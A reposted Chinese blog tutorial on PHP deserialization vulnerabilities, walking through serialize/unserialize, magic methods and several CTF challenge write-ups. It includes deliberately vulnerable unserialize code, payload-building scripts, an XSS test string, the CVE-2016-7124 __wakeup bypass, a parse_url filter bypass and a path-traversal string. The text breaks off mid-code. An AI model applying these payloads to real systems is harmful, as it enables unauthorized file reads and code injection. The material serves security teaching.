PHP中怎么反序列化漏洞

PHP中怎么反序列化漏洞,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。

序列化与反序列化

为什么要进行序列化与反序列化?

起初也是很不理解为什么要费劲周章的去序列化然后反序列化回来,还多了一步操作,看了各种文章,举了各种栗子,无非都是想告诉我们: 序列化的目的是方便数据的传输和存储

再附上网上看到的一段话

PHP 文件在执行结束以后就会将对象销毁,那么如果下次有一个页面恰好要用到刚刚销毁的对象就会束手无策,总不能你永远不让它销毁,等着你吧,于是人们就想出了一种能长久保存对象的方法,这就是 PHP 的序列化,那当我们下次要用的时候只要反序列化一下就 ok 啦

什么是序列化和反序列化?

序列化

关键函数 serialize():将PHP中创建的对象,变成一个字符串

<?php

class test{

    public $name = 'P2hm1n';  

    private $sex = 'secret';  

    protected $age = '20';

}

$test1 = new test();

$object = serialize($test1);

print_r($object);

?>

PHP中怎么反序列化漏洞

经过查阅资料我们发现

private属性序列化的时候格式是 %00类名%00成员名

protected属性序列化的时候格式是 %00*%00成员名

反序列化

关键函数 unserialize():将经过序列化的字符串转换回PHP值

<?php

$object = '经过序列化的字符串';

$test = unserialize($object1);

print_r($test3);

?>

注意:当有 protected 和 private 属性的时候记得补齐空的字符串

为什么会产生反序列化漏洞?

PHP反序列化漏洞又称PHP对象注入,是因为程序对输入数据处理不当导致的

需要具备反序列化漏洞的前提:

必须有 unserailize() 函数

unserailize() 函数的参数必须可控(为了成功达到控制你输入的参数所实现的功能,可能需要绕过一些魔法函数

下面写一个小栗子

<?php 

class test{

    public $target = 'this is a test';

    function __destruct(){

        echo $this->target;

    }

}

$a = $_GET['b'];

$c = unserialize($a);

?>

PHP中怎么反序列化漏洞

上面的栗子就具备了利用反序列化漏洞的前提,因为存在 echo 的原因,我们还可以直接利用xss

<?php 

class test{

    public $target = '<script>alert(/xss/);</script>';

}

$a = new test();

$a = serialize($a);

echo $a;

?>

PHP中怎么反序列化漏洞

很简单的栗子

D0g3平台

一道实验室师傅们出的题:

http://120.79.33.253:9001/

题目直接给了源码

<?php

error_reporting(0);

include "flag.php";

$KEY = "D0g3!!!";

$str = $_GET['str'];

if (unserialize($str) === "$KEY")

{

    echo "$flag";

}

show_source(__FILE__);

我们可以看到判断条件 unserialize($str) === "$KEY"就会输出flag,且具备了反序列化漏洞的一条:有 unserialize()函数,那么寻找str参数是否可控,向上寻找发现 $str = $_GET['str']; ,通过 GET 型传参,参数可控。这里也就具备了反序列化的两个条件,所以我们直接构造

<?php 

$KEY = "D0g3!!!";

echo serialize($KEY)

?>

PHP中怎么反序列化漏洞

Bugku-welcome to the bugkuctf

PHP中怎么反序列化漏洞

在经历了前面的php伪协议的考点之后,经过base64解码拿到了两个源码

index.php

<?php  

$txt = $_GET["txt"];  

$file = $_GET["file"];  

$password = $_GET["password"];  

if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  

    echo "hello friend!<br>";  

    if(preg_match("/flag/",$file)){ 

        echo "不能现在就给你flag哦";

        exit();  

    }else{  

        include($file);   

        $password = unserialize($password);  

        echo $password;  

    }  

}else{  

    echo "you are not the number of bugku ! ";  

}  

?>

hint.php

<?php   

class Flag{//flag.php  

    public $file;  

    public function __tostring(){  

        if(isset($this->file)){  

            echo file_get_contents($this->file); 

            echo "<br>";

        return ("good");

        }  

    }  

}  

?>

观察到危险函数 unserialize(),跟进一下 hint.php 里有有一个 file_get_contents()函数,可以读取到文件,那么我们只需要观察file是否可控便可轻松解题

因此我们只需要控制 $this->file 就能读到我们想要的文件

<?php   

class Flag{//flag.php  

    public $file = 'flag.php'; 

}

$a = new Flag();

$a = serialize($a);

echo $a;  

?>

当然这道题不只考了反序列化,还需要一些其他操作才能拿到flag

PHP中怎么反序列化漏洞

上面的简单栗子都是直接可以通过序列化生成相应的payload然后再反序列化之后实现功能,但是通常不会这么简单的就让你利用成功,所以需要掌握下面的一些东西

一些魔术方法

在绕过魔术方法之前我们需要了解一些魔术方法的运行机制————PHP之十六个魔术方法详解

需要了解一下相对于来说重要函数的运行先后顺序

<?php   

class test{

    public $name = 'P2hm1n';

    function __construct(){

        echo "__construct()";

        echo "<br><br>";

    }

    function __destruct(){

        echo "__destruct()";

        echo "<br><br>";

    }

    function __wakeup(){

        echo "__wakeup()";

        echo "<br><br>";

    }

    function __toString(){

        return "__toString()"."<br><br>";

    }

    function __sleep(){

        echo "__sleep()";

        echo "<br><br>";

        return array("name");

    }

}

$test1 = new test();

$test2 = serialize($test1);

$test3 = unserialize($test2);

print($test3);

?>

PHP中怎么反序列化漏洞

可以绕过的__weakup()

实际上是一个CVE漏洞,CVE-2016-7124。当成员属性数目大于实际数目时会跳过__wakeup的执行。

网上已经有很多讲解了…比如网上的一篇文章 https://blog.csdn.net/qq_19876131/article/details/52890854 就写的比较清楚,我们只需要知道成员数目大于实际数目这个利用的点就行了

盘点近期两道有关反序列化题

第12届全国大学生信息安全竞赛-JustSoso

PHP伪协议+base64解码得到两个文件

index.php

<html>

<?php

error_reporting(0); 

$file = $_GET["file"]; 

$payload = $_GET["payload"];

if(!isset($file)){

    echo 'Missing parameter'.'<br>';

}

if(preg_match("/flag/",$file)){

    die('hack attacked!!!');

}

@include($file);

if(isset($payload)){  

    $url = parse_url($_SERVER['REQUEST_URI']);

    parse_str($url['query'],$query);

    foreach($query as $value){

        if (preg_match("/flag/",$value)) { 

            die('stop hacking!');

            exit();

        }

    }

    $payload = unserialize($payload);

}else{ 

   echo "Missing parameters"; 

} 

?>

<!--Please test index.php?file=xxx.php -->

<!--Please get the source of hint.php-->

<html>

hint.php

<?php  

class Handle{ 

    private $handle;  //__destruct中被调用从而调用getFlag()

    public function __wakeup(){

        foreach(get_object_vars($this) as $k => $v) { //循环打印,赋值为空

            $this->$k = null;

        }

        echo "Waking up/n";

    }

    public function __construct($handle) { 

        $this->handle = $handle; 

    } 

    public function __destruct(){

        $this->handle->getFlag(); //调用 Flag 类里面的getFlag方法

}

class Flag{

    public $file;

    public $token;

    public $token_flag;

    function __construct($file){

    $this->file = $file;

    $this->token_flag = $this->token = md5(rand(1,10000));  //一到一万产生的随机数经过md5加密

    }

  public function getFlag(){  //被handle调用

    $this->token_flag = md5(rand(1,10000));

        if($this->token === $this->token_flag)  //两者必须相等

    {

      if(isset($this->file)){

        echo @highlight_file($this->file,true); 

            }  

        }

    }

}

$echof = new Flag();

$Flag->file = "flag.php";

$echoflag = new Handle($echof);

echo serialize($echoflag);

?>

在粗略的看了一下两个文件之后,可能会有点乱(当时的我头脑是很乱的),但是我们只需要明确我们打CTF的目的就是拿到flag…

梳理一下思路如下

index.php文件干了什么事?

GET型传入两个参数 (那么传入的两个参数一定是有用的,通常出题人不会闲得蛋疼多设置几个没用的参数

file不能包含flag关键字

如果设置了payload的话,url被切割,且循环遍历匹配flag关键字,匹配到了就退出

payload被unserialize()了~payload被unserialize()了~payload被unserialize()了~

hint.php文件干了什么事?

既然都叫hint.php了那么hint.php一定大有作为…

纵观 hint.php 包含两个类

其中的一个类叫 Flag,甚至类里有个方法叫getFlag(),所以我们明确我们的目标就是它

打CTF一定要知道自己在干什么,所以先不管其他的,我们只谈反序列化,然后构造payload这个参数

所以在抛弃一切前提下,我们甚至可以构造payload出来

<?php 

//假装有两个class 

class{

}

class{

}

$echof = new Flag();

$Flag->file = "flag.php";

$echoflag = new Handle($echof);

echo serialize($echoflag);

?>

现在的我们已经能够输出flag了,我们看一下还存在哪些障碍?

输出flag的前提

echo @highlight_file($this->file,true);前有一个判断:$this->token === $this->token_flag

$this->token 的值是不会变的,但是 $this->token_flag却会改变

这里有两种思路,其一是爆破,其二是用引用变量来解决这个问题 $Flag->token = &$Flag->token_flag;

__wakeup()每次打印为空?

重点到了,利用本文前面的CVE-2016-7124。当成员属性数目大于实际数目时会跳过__wakeup的执行。这样能让 Handle类成功调用 Flag类中的方法

我们的关键词不能有flag?

经过反序列化也罢,我们的关键词始终会含有flag词语,会被正则匹配到…

这里可以使用parse_url的解析漏洞,具体的可以看看 一叶飘零师傅的文章 和 另一位师傅的文章

大概是parse_url() 是专门用来解析 URL 而不是 URI 的。不过为遵从 PHP 向后兼容的需要有个例外,对 file:// 协议允许三个斜线(file:///…)。其它任何协议都不能这样。

所以使用三个斜线的话就不会被检测到关键词

其实其他考点都是可以绕过的,最主要的反序列化思想的核心,我认为经过反序列化,有了可以控制的参数之后,就一定要完成某部分的功能,不是为了反序列化而反序列化

DDCTF-Web签到题

题目地址:http://117.51.158.44/index.php

经过信息泄露,抓包等会拿到两个源码…

文件1:Application.php

代码太长了,简化一下有用的功能如下:

Class Application {

    var $path = '';

    private function sanitizepath($path) {

    $path = trim($path);

    $path=str_replace('../','',$path);

    $path=str_replace('..//','',$path);

    return $path;

}

public function __destruct() {

    if(empty($this->path)) {

        exit();

    }else{

        $path = $this->sanitizepath($this->path);

        if(strlen($path) !== 18) {

            exit();

        }

        $this->response($data=file_get_contents($path),'Congratulations');

    }

    exit();

}

}

文件一大概是对 $path 变量做了一些处理;如:前后去空,并且移除了 ../../

如果长度小于18的话能够读取 $path 变量的文件的内容,能够读取 $path 变量的文件的内容,能够读取 $path 变量的文件的内容

因此我们构造初步的payload (其实结合了一些文件2的信息才能构造路径)为:../config/flag.txt,但是此时需要绕过文件一中的一个 str_replace() 函数,且长度要小于18,故而再次构造为 ..././config/flag.txt (需要注意的是此刻的长度虽然是21,但是经过一次前面的 str_replace() 替换 ../ 为空之后,长度就刚好为18

文件2:app/Session.php

//url:app/Session.php

include 'Application.php';    //包含文件一

class Session extends Application {    

    //key建议为8位字符串

    var $eancrykey                  = '';

    var $cookie_expiration            = 7200;

    var $cookie_name                = 'ddctf_id';

    var $cookie_path                = '';

    var $cookie_domain                = '';

    var $cookie_secure                = FALSE;

    var $activity                   = "DiDiCTF";

    public function index()        

    {

    if(parent::auth()) {    //通过parent::调用父类方法

            $this->get_key();

            if($this->session_read()) {

                $data = 'DiDI Welcome you %s';

                $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);

                parent::response($data,'sucess');

            }else{

                $this->session_create();

                $data = 'DiDI Welcome you';

                parent::response($data,'sucess');

            }

        }

    }

    private function get_key() {    

        //eancrykey  and flag under the folder

        $this->eancrykey =  file_get_contents('../config/key.txt');    //flag可能也在这个文件夹里面

    }

    public function session_read() {    

        if(empty($_COOKIE)) {    

        return FALSE;    

        }

        $session = $_COOKIE[$this->cookie_name];    

        if(!isset($session)) {    

            parent::response("session not found",'error');

            return FALSE;

        }

        $hash = substr($session,strlen($session)-32);    

        $session = substr($session,0,strlen($session)-32);    

        if($hash !== md5($this->eancrykey.$session)) {    

            parent::response("the cookie data not match",'error');    //通过parent::调用父类方法

            return FALSE;    

        }

        $session = unserialize($session);    //反序列化

        if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){

            return FALSE;

        }

        if(!empty($_POST["nickname"])) {    //POST的不为空

            $arr = array($_POST["nickname"],$this->eancrykey);

            $data = "Welcome my friend %s";

            foreach ($arr as $k => $v) {    //打印变量

                $data = sprintf($data,$v);    //输出

            }

            parent::response($data,"Welcome");

        }

        if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {

            parent::response('the ip addree not match'.'error');

            return FALSE;

        }

        if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {

            parent::response('the user agent not match','error');

            return FALSE;

        }

        return TRUE;

    }

    private function session_create() {

        $sessionid = '';

        while(strlen($sessionid) < 32) {

            $sessionid .= mt_rand(0,mt_getrandmax());

        }

        $userdata = array(

            'session_id' => md5(uniqid($sessionid,TRUE)),

            'ip_address' => $_SERVER['REMOTE_ADDR'],

            'user_agent' => $_SERVER['HTTP_USER_AGENT'],

            'user_data' => '',

        );

        $cookiedata = serialize($userdata);    //序列化

        $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);

        $expire = $this->cookie_expiration + time();

        setcookie(

            $this->cookie_name,

            $cookiedata,

      &nb

原创文章,作者:306829225,如若转载,请注明出处:https://blog.ytso.com/231091.html

(0)
上一篇 2022年1月15日
下一篇 2022年1月15日

相关推荐

发表回复

登录后才能评论